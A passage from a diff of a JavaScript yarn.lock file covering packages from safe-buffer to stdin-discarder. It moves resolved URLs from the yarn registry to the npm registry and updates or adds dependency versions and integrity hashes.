   integrity sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==
 
-safe-buffer@~5.1.1:
+safe-buffer@~5.1.0, safe-buffer@~5.1.1:
   version "5.1.2"
-  resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.1.2.tgz#991ec69d296e0313747d59bdfd2b745c35f8828d"
+  resolved "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz"
   integrity sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==
 
-safe-regex-test@^1.0.0:
+safe-push-apply@^1.0.0:
   version "1.0.0"
-  resolved "https://registry.yarnpkg.com/safe-regex-test/-/safe-regex-test-1.0.0.tgz#793b874d524eb3640d1873aad03596db2d4f2295"
-  integrity sha512-JBUUzyOgEwXQY1NuPtvcj/qcBDbDmEvWufhlnXZIm75DEHp+afM1r1ujJpJsV/gSM4t59tpDyPi1sd6ZaPFfsA==
+  resolved "https://registry.yarnpkg.com/safe-push-apply/-/safe-push-apply-1.0.0.tgz#01850e981c1602d398c85081f360e4e6d03d27f5"
+  integrity sha512-iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA==
+  dependencies:
+    es-errors "^1.3.0"
+    isarray "^2.0.5"
+
+safe-regex-test@^1.0.3, safe-regex-test@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/safe-regex-test/-/safe-regex-test-1.1.0.tgz#7f87dfb67a3150782eaaf18583ff5d1711ac10c1"
+  integrity sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==
   dependencies:
-    call-bind "^1.0.2"
-    get-intrinsic "^1.1.3"
-    is-regex "^1.1.4"
+    call-bound "^1.0.2"
+    es-errors "^1.3.0"
+    is-regex "^1.2.1"
+
+safe-stable-stringify@^2.3.1:
+  version "2.5.0"
+  resolved "https://registry.npmjs.org/safe-stable-stringify/-/safe-stable-stringify-2.5.0.tgz"
+  integrity sha512-b3rppTKm9T+PsVCBEOUR46GWI7fdOs00VKZ1+9c1EWDaDMvjQc6tUwuFyIprgGgTcWoVHSKrU8H31ZHA2e0RHA==
 
 "safer-buffer@>= 2.1.2 < 3.0.0":
   version "2.1.2"
-  resolved "https://registry.yarnpkg.com/safer-buffer/-/safer-buffer-2.1.2.tgz#44fa161b0187b9549dd84bb91802f9bd8385cd6a"
+  resolved "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz"
   integrity sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==
 
 saxes@^6.0.0:
   version "6.0.0"
-  resolved "https://registry.yarnpkg.com/saxes/-/saxes-6.0.0.tgz#fe5b4a4768df4f14a201b1ba6a65c1f3d9988cc5"
+  resolved "https://registry.npmjs.org/saxes/-/saxes-6.0.0.tgz"
   integrity sha512-xAg7SOnEhrm5zI3puOOKyy1OMcMlIJZYNJY7xLBwSze0UjhPLnWfj2GF2EpT0jmzaJKIWKHLsaSSajf35bcYnA==
   dependencies:
     xmlchars "^2.2.0"
 
-scheduler@0.25.0-beta-b498834eab-20240506:
-  version "0.25.0-beta-b498834eab-20240506"
-  resolved "https://registry.yarnpkg.com/scheduler/-/scheduler-0.25.0-beta-b498834eab-20240506.tgz#ddbdfe82bdf7a4dda551974c54b9b68e75cb9ba1"
-  integrity sha512-fw52C9FJ90xSu8R2vRfYX8WiI3sz4zo/ya98DRdRqkkgek6WYofI7AJRM5ZZxFtVKuJZOUjV+4uoVK9Al1XadA==
+scheduler@0.0.0-experimental-4beb1fd8-20241118:
+  version "0.0.0-experimental-4beb1fd8-20241118"
+  resolved "https://registry.npmjs.org/scheduler/-/scheduler-0.0.0-experimental-4beb1fd8-20241118.tgz"
+  integrity sha512-b7GQktevD5BPcS+R5qY5se5oX4b8AHQyebWswGZBdLCmElIwR3Q+RO5EgsLOA4t5D3/TDjLm58CQG16uEB5rMA==
 
-scheduler@^0.23.0:
-  version "0.23.2"
-  resolved "https://registry.yarnpkg.com/scheduler/-/scheduler-0.23.2.tgz#414ba64a3b282892e944cf2108ecc078d115cdc3"
-  integrity sha512-UOShsPwz7NrMUqhR6t0hWjFduvOzbtv7toDH1/hIrfRNIDBnnBWd0CwJTGvTpngVlmwGCdP9/Zl/tVrDqcuYzQ==
+selderee@^0.11.0:
+  version "0.11.0"
+  resolved "https://registry.npmjs.org/selderee/-/selderee-0.11.0.tgz"
+  integrity sha512-5TF+l7p4+OsnP8BCCvSyZiSPc4x4//p5uPwK8TCnVPJYRmU2aYKMpOXvw8zM5a5JvuuCGN1jmsMwuU2W02ukfA==
   dependencies:
-    loose-envify "^1.1.0"
+    parseley "^0.12.0"
 
 semver@7.x, semver@^7.3.5:
   version "7.3.7"
-  resolved "https://registry.yarnpkg.com/semver/-/semver-7.3.7.tgz#12c5b649afdbf9049707796e22a4028814ce523f"
+  resolved "https://registry.npmjs.org/semver/-/semver-7.3.7.tgz"
   integrity sha512-QlYTucUYOews+WeEujDoEGziz4K6c47V/Bd+LjSSYcA94p+DmINdf7ncaUinThfvZyu13lN9OY1XDxt8C0Tw0g==
   dependencies:
     lru-cache "^6.0.0"
 
 semver@^5.4.1, semver@^5.6.0:
   version "5.7.1"
-  resolved "https://registry.yarnpkg.com/semver/-/semver-5.7.1.tgz#a954f931aeba508d307bbf069eff0c01c96116f7"
+  resolved "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz"
   integrity sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==
 
-semver@^6.0.0, semver@^6.1.1, semver@^6.1.2, semver@^6.3.0:
-  version "6.3.0"
-  resolved "https://registry.yarnpkg.com/semver/-/semver-6.3.0.tgz#ee0a64c8af5e8ceea67687b133761e1becbd1d3d"
-  integrity sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==
-
-semver@^6.3.1:
+semver@^6.0.0, semver@^6.3.0, semver@^6.3.1:
   version "6.3.1"
-  resolved "https://registry.yarnpkg.com/semver/-/semver-6.3.1.tgz#556d2ef8689146e46dcea4bfdd095f3434dffcb4"
+  resolved "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz"
   integrity sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==
 
 semver@^7.5.3, semver@^7.5.4:
   version "7.5.4"
-  resolved "https://registry.yarnpkg.com/semver/-/semver-7.5.4.tgz#483986ec4ed38e1c6c48c34894a9182dbff68a6e"
+  resolved "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz"
   integrity sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==
   dependencies:
     lru-cache "^6.0.0"
 
-serialize-javascript@^6.0.1:
+semver@^7.6.0, semver@^7.6.2:
+  version "7.6.3"
+  resolved "https://registry.npmjs.org/semver/-/semver-7.6.3.tgz"
+  integrity sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==
+
+semver@^7.7.1:
+  version "7.7.1"
+  resolved "https://registry.npmjs.org/semver/-/semver-7.7.1.tgz"
+  integrity sha512-hlq8tAfn0m/61p4BVRcPzIGr6LKiMwo4VM6dGi6pt4qcRkmNzTcWq6eCEjEh+qXjkMDvPlOFFSGwQjoEa6gyMA==
+
+send@^1.1.0, send@^1.2.0:
+  version "1.2.0"
+  resolved "https://registry.npmjs.org/send/-/send-1.2.0.tgz"
+  integrity sha512-uaW0WwXKpL9blXE2o0bRhoL2EGXIrZxQ2ZQ4mgcfoBxdFmQold+qWsD2jLrfZ0trjKL6vOw0j//eAwcALFjKSw==
+  dependencies:
+    debug "^4.3.5"
+    encodeurl "^2.0.0"
+    escape-html "^1.0.3"
+    etag "^1.8.1"
+    fresh "^2.0.0"
+    http-errors "^2.0.0"
+    mime-types "^3.0.1"
+    ms "^2.1.3"
+    on-finished "^2.4.1"
+    range-parser "^1.2.1"
+    statuses "^2.0.1"
+
+serialize-javascript@^6.0.2:
   version "6.0.2"
-  resolved "https://registry.yarnpkg.com/serialize-javascript/-/serialize-javascript-6.0.2.tgz#defa1e055c83bf6d59ea805d8da862254eb6a6c2"
+  resolved "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.2.tgz"
   integrity sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g==
   dependencies:
     randombytes "^2.1.0"
 
+serializerr@^1.0.3:
+  version "1.0.3"
+  resolved "https://registry.npmjs.org/serializerr/-/serializerr-1.0.3.tgz"
+  integrity sha512-yXUlHj0fjbndhACj2XWtIH5eJv7b/uadyl7CJA8b9wL5mIKm+g0/sL7rDzEmjC+k5y8ggcaP8i049F4FxA0U9Q==
+  dependencies:
+    protochain "^1.0.5"
+
+serve-static@^2.2.0:
+  version "2.2.0"
+  resolved "https://registry.npmjs.org/serve-static/-/serve-static-2.2.0.tgz"
+  integrity sha512-61g9pCh0Vnh7IutZjtLGGpTA355+OPn2TyDv/6ivP2h/AdAVX9azsoxmg2/M6nZeQZNYBEwIcsne1mJd9oQItQ==
+  dependencies:
+    encodeurl "^2.0.0"
+    escape-html "^1.0.3"
+    parseurl "^1.3.3"
+    send "^1.2.0"
+
 set-blocking@^2.0.0:
   version "2.0.0"
-  resolved "https://registry.yarnpkg.com/set-blocking/-/set-blocking-2.0.0.tgz#045f9782d011ae9a6803ddd382b24392b3d890f7"
+  resolved "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz"
   integrity sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==
 
-set-function-length@^1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/set-function-length/-/set-function-length-1.1.1.tgz#4bc39fafb0307224a33e106a7d35ca1218d659ed"
-  integrity sha512-VoaqjbBJKiWtg4yRcKBQ7g7wnGnLV3M8oLvVWwOk2PdYY6PEFegR1vezXR0tw6fZGF9csVakIRjrJiy2veSBFQ==
+set-function-length@^1.2.2:
+  version "1.2.2"
+  resolved "https://registry.yarnpkg.com/set-function-length/-/set-function-length-1.2.2.tgz#aac72314198eaed975cf77b2c3b6b880695e5449"
+  integrity sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==
   dependencies:
-    define-data-property "^1.1.1"
-    get-intrinsic "^1.2.1"
+    define-data-property "^1.1.4"
+    es-errors "^1.3.0"
+    function-bind "^1.1.2"
+    get-intrinsic "^1.2.4"
     gopd "^1.0.1"
-    has-property-descriptors "^1.0.0"
+    has-property-descriptors "^1.0.2"
 
-set-function-name@^2.0.0, set-function-name@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/set-function-name/-/set-function-name-2.0.1.tgz#12ce38b7954310b9f61faa12701620a0c882793a"
-  integrity sha512-tMNCiqYVkXIZgc2Hnoy2IvC/f8ezc5koaRFkCjrpWzGpCd3qbZXPzVy9MAZzK1ch/X0jvSkojys3oqJN0qCmdA==
+set-function-name@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/set-function-name/-/set-function-name-2.0.2.tgz#16a705c5a0dc2f5e638ca96d8a8cd4e1c2b90985"
+  integrity sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==
   dependencies:
-    define-data-property "^1.0.1"
+    define-data-property "^1.1.4"
+    es-errors "^1.3.0"
     functions-have-names "^1.2.3"
-    has-property-descriptors "^1.0.0"
+    has-property-descriptors "^1.0.2"
+
+set-proto@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/set-proto/-/set-proto-1.0.0.tgz#0760dbcff30b2d7e801fd6e19983e56da337565e"
+  integrity sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw==
+  dependencies:
+    dunder-proto "^1.0.1"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.0.0"
+
+setimmediate@^1.0.5:
+  version "1.0.5"
+  resolved "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz"
+  integrity sha512-MATJdZp8sLqDl/68LfQmbP8zKPLQNV6BIZoIgrscFDQ+RsvK/BxeDQOgyxKKoh0y/8h3BqVFnCqQ/gd+reiIXA==
+
+setprototypeof@1.2.0:
+  version "1.2.0"
+  resolved "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz"
+  integrity sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==
 
 shallow-clone@^3.0.0:
   version "3.0.1"
-  resolved "https://registry.yarnpkg.com/shallow-clone/-/shallow-clone-3.0.1.tgz#8f2981ad92531f55035b01fb230769a40e02efa3"
+  resolved "https://registry.npmjs.org/shallow-clone/-/shallow-clone-3.0.1.tgz"
   integrity sha512-/6KqX+GVUdqPuPPd2LxDDxzX6CAbjJehAAOKlNpqqUpAqPM6HeL8f+o3a+JsyGjn2lv0WY8UsTgUJjU9Ok55NA==
   dependencies:
     kind-of "^6.0.2"
 
 shebang-command@^2.0.0:
   version "2.0.0"
-  resolved "https://registry.yarnpkg.com/shebang-command/-/shebang-command-2.0.0.tgz#ccd0af4f8835fbdc265b82461aaf0c36663f34ea"
+  resolved "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz"
   integrity sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==
   dependencies:
     shebang-regex "^3.0.0"
 
 shebang-regex@^3.0.0:
   version "3.0.0"
-  resolved "https://registry.yarnpkg.com/shebang-regex/-/shebang-regex-3.0.0.tgz#ae16f1644d873ecad843b0307b143362d4c42172"
+  resolved "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz"
   integrity sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==
 
 shell-quote@^1.7.3:
   version "1.8.1"
-  resolved "https://registry.yarnpkg.com/shell-quote/-/shell-quote-1.8.1.tgz#6dbf4db75515ad5bac63b4f1894c3a154c766680"
+  resolved "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.1.tgz"
   integrity sha512-6j1W9l1iAs/4xYBI1SYOVZyFcCis9b4KCLQ8fgAGG07QvzaRLVVRQvAy85yNmmZSjYjg4MWh4gNvlPujU/5LpA==
 
-side-channel@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/side-channel/-/side-channel-1.0.4.tgz#efce5c8fdc104ee751b25c58d4290011fa5ea2cf"
-  integrity sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==
+side-channel-list@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.0.tgz"
+  integrity sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==
+  dependencies:
+    es-errors "^1.3.0"
+    object-inspect "^1.13.3"
+
+side-channel-map@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz"
+  integrity sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==
+  dependencies:
+    call-bound "^1.0.2"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.5"
+    object-inspect "^1.13.3"
+
+side-channel-weakmap@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz"
+  integrity sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==
+  dependencies:
+    call-bound "^1.0.2"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.5"
+    object-inspect "^1.13.3"
+    side-channel-map "^1.0.1"
+
+side-channel@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz"
+  integrity sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==
   dependencies:
-    call-bind "^1.0.0"
-    get-intrinsic "^1.0.2"
-    object-inspect "^1.9.0"
+    es-errors "^1.3.0"
+    object-inspect "^1.13.3"
+    side-channel-list "^1.0.0"
+    side-channel-map "^1.0.1"
+    side-channel-weakmap "^1.0.2"
 
 signal-exit@^3.0.2, signal-exit@^3.0.3, signal-exit@^3.0.7:
   version "3.0.7"
-  resolved "https://registry.yarnpkg.com/signal-exit/-/signal-exit-3.0.7.tgz#a9a1767f8af84155114eaabd73f99273c8f59ad9"
+  resolved "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz"
   integrity sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==
 
 signal-exit@^4.0.1:
   version "4.1.0"
-  resolved "https://registry.yarnpkg.com/signal-exit/-/signal-exit-4.1.0.tgz#952188c1cbd546070e2dd20d0f41c0ae0530cb04"
+  resolved "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz"
   integrity sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==
 
+simple-swizzle@^0.2.2:
+  version "0.2.2"
+  resolved "https://registry.npmjs.org/simple-swizzle/-/simple-swizzle-0.2.2.tgz"
+  integrity sha512-JA//kQgZtbuY83m+xT+tXJkmJncGMTFT+C+g2h2R9uxkYIrE2yy9sgmcLhCnw57/WSD+Eh3J97FPEDFnbXnDUg==
+  dependencies:
+    is-arrayish "^0.3.1"
+
 sisteransi@^1.0.5:
   version "1.0.5"
-  resolved "https://registry.yarnpkg.com/sisteransi/-/sisteransi-1.0.5.tgz#134d681297756437cc05ca01370d3a7a571075ed"
+  resolved "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz"
   integrity sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==
 
 slash@^3.0.0:
   version "3.0.0"
-  resolved "https://registry.yarnpkg.com/slash/-/slash-3.0.0.tgz#6539be870c165adbd5240220dbe361f1bc4d4634"
+  resolved "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz"
   integrity sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==
 
-slash@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/slash/-/slash-4.0.0.tgz#2422372176c4c6c5addb5e2ada885af984b396a7"
-  integrity sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew==
-
-smob@^1.0.0:
-  version "1.5.0"
-  resolved "https://registry.yarnpkg.com/smob/-/smob-1.5.0.tgz#85d79a1403abf128d24d3ebc1cdc5e1a9548d3ab"
-  integrity sha512-g6T+p7QO8npa+/hNx9ohv1E5pVCmWrVCUzUXJyLdMmftX6ER0oiWY/w9knEonLpnOp6b6FenKnMfR8gqwWdwig==
+smart-buffer@^4.2.0:
+  version "4.2.0"
+  resolved "https://registry.npmjs.org/smart-buffer/-/smart-buffer-4.2.0.tgz"
+  integrity sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==
 
-source-map-js@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/source-map-js/-/source-map-js-1.0.2.tgz#adbc361d9c62df380125e7f161f71c826f1e490c"
-  integrity sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==
+socks-proxy-agent@^8.0.5:
+  version "8.0.5"
+  resolved "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-8.0.5.tgz"
+  integrity sha512-HehCEsotFqbPW9sJ8WVYB6UbmIMv7kUUORIF2Nncq4VQvBfNBLibW9YZR5dlYCSUhwcD628pRllm7n+E+YTzJw==
+  dependencies:
+    agent-base "^7.1.2"
+    debug "^4.3.4"
+    socks "^2.8.3"
 
-source-map-js@^1.2.0:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/source-map-js/-/source-map-js-1.2.0.tgz#16b809c162517b5b8c3e7dcd315a2a5c2612b2af"
-  integrity sha512-itJW8lvSA0TXEphiRoawsCksnlf8SyvmFzIhltqAHluXd88pkCd+cXJVHTDwdCr0IzwptSm035IHQktUu1QUMg==
+socks@^2.8.3:
+  version "2.8.4"
+  resolved "https://registry.npmjs.org/socks/-/socks-2.8.4.tgz"
+  integrity sha512-D3YaD0aRxR3mEcqnidIs7ReYJFVzWdd6fXJYUM8ixcQcJRGTka/b3saV0KflYhyVJXKhb947GndU35SxYNResQ==
+  dependencies:
+    ip-address "^9.0.5"
+    smart-buffer "^4.2.0"
 
 source-map-support@0.5.13:
   version "0.5.13"
-  resolved "https://registry.yarnpkg.com/source-map-support/-/source-map-support-0.5.13.tgz#31b24a9c2e73c2de85066c0feb7d44767ed52932"
+  resolved "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.13.tgz"
   integrity sha512-SHSKFHadjVA5oR4PPqhtAVdcBWwRYVd6g6cAXnIbRiIwc2EhPrTuKUBdSLvlEKyIP3GCf89fltvcZiP9MMFA1w==
   dependencies:
     buffer-from "^1.0.0"
     source-map "^0.6.0"
 
-source-map-support@^0.5.16, source-map-support@~0.5.20:
+source-map-support@^0.5.16:
   version "0.5.21"
-  resolved "https://registry.yarnpkg.com/source-map-support/-/source-map-support-0.5.21.tgz#04fe7c7f9e1ed2d662233c28cb2b35b9f63f6e4f"
+  resolved "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz"
   integrity sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==
   dependencies:
     buffer-from "^1.0.0"
     source-map "^0.6.0"
 
+source-map@0.8.0-beta.0:
+  version "0.8.0-beta.0"
+  resolved "https://registry.npmjs.org/source-map/-/source-map-0.8.0-beta.0.tgz"
+  integrity sha512-2ymg6oRBpebeZi9UUNsgQ89bhx01TcTkmNTGnNO88imTmbSgy4nfujrgVEFKWpMTEGA11EDkTt7mqObTPdigIA==
+  dependencies:
+    whatwg-url "^7.0.0"
+
 source-map@^0.5.0:
   version "0.5.7"
-  resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.5.7.tgz#8a039d2d1021d22d1ea14c80d8ea468ba2ef3fcc"
+  resolved "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz"
   integrity sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ==
 
 source-map@^0.6.0, source-map@^0.6.1, source-map@~0.6.1:
   version "0.6.1"
-  resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.6.1.tgz#74722af32e9614e9c287a8d0bbde48b5e2f1a263"
+  resolved "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz"
   integrity sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==
 
-sourcemap-codec@^1.4.8:
-  version "1.4.8"
-  resolved "https://registry.yarnpkg.com/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz#ea804bd94857402e6992d05a38ef1ae35a9ab4c4"
-  integrity sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==
-
 spawn-command@^0.0.2-1:
   version "0.0.2-1"
-  resolved "https://registry.yarnpkg.com/spawn-command/-/spawn-command-0.0.2-1.tgz#62f5e9466981c1b796dc5929937e11c9c6921bd0"
+  resolved "https://registry.npmjs.org/spawn-command/-/spawn-command-0.0.2-1.tgz"
   integrity sha512-n98l9E2RMSJ9ON1AKisHzz7V42VDiBQGY6PB1BwRglz99wpVsSuGzQ+jOi6lFXBGVTCrRpltvjm+/XA+tpeJrg==
 
+sprintf-js@^1.1.3:
+  version "1.1.3"
+  resolved "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.3.tgz"
+  integrity sha512-Oo+0REFV59/rz3gfJNKQiBlwfHaSESl1pcGyABQsnnIfWOFt6JNj5gCog2U6MLZ//IGYD+nA8nI+mTShREReaA==
+
 sprintf-js@~1.0.2:
   version "1.0.3"
-  resolved "https://registry.yarnpkg.com/sprintf-js/-/sprintf-js-1.0.3.tgz#04e6926f662895354f3dd015203633b857297e2c"
+  resolved "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz"
   integrity sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==
 
+stack-trace@0.0.x:
+  version "0.0.10"
+  resolved "https://registry.npmjs.org/stack-trace/-/stack-trace-0.0.10.tgz"
+  integrity sha512-KGzahc7puUKkzyMt+IqAep+TVNbKP+k2Lmwhub39m1AsTSkaDutx56aDCo+HLDzf/D26BIHTJWNiTG1KAJiQCg==
+
 stack-utils@^2.0.3:
   version "2.0.5"
-  resolved "https://registry.yarnpkg.com/stack-utils/-/stack-utils-2.0.5.tgz#d25265fca995154659dbbfba3b49254778d2fdd5"
+  resolved "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.5.tgz"
   integrity sha512-xrQcmYhOsn/1kX+Vraq+7j4oE2j/6BFscZ0etmYg81xuM8Gq0022Pxb8+IqgOFUIaxHs0KaSb7T1+OegiNrNFA==
   dependencies:
     escape-string-regexp "^2.0.0"
 
-state-local@^1.0.6:
-  version "1.0.7"
-  resolved "https://registry.yarnpkg.com/state-local/-/state-local-1.0.7.tgz#da50211d07f05748d53009bee46307a37db386d5"
-  integrity sha512-HTEHMNieakEnoe33shBYcZ7NX83ACUjCu8c40iOGEZsngj9zRnkqS9j1pqQPXwobB0ZcVTk27REb7COQ0UR59w==
+stack-utils@^2.0.6:
+  version "2.0.6"
+  resolved "https://registry.yarnpkg.com/stack-utils/-/stack-utils-2.0.6.tgz#aaf0748169c02fc33c8232abccf933f54a1cc34f"
+  integrity sha512-XlkWvfIm6RmsWtNJx+uqtKLS8eqFbxUg0ZzLXqY0caEy9l7hruX8IpiDnjsLavoBgqCCR71TqWO8MaXYheJ3RQ==
+  dependencies:
+    escape-string-regexp "^2.0.0"
 
-stop-iteration-iterator@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/stop-iteration-iterator/-/stop-iteration-iterator-1.0.0.tgz#6a60be0b4ee757d1ed5254858ec66b10c49285e4"
-  integrity sha512-iCGQj+0l0HOdZ2AEeBADlsRC+vsnDsZsbdSiH1yNSjcfKM7fdpCMfqAL/dwF5BLiw/XhRft/Wax6zQbhq2BcjQ==
+statuses@2.0.1, statuses@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz"
+  integrity sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==
+
+stdin-discarder@^0.1.0:
+  version "0.1.0"
+  resolved "https://registry.npmjs.org/stdin-discarder/-/stdin-discarder-0.1.0.tgz"
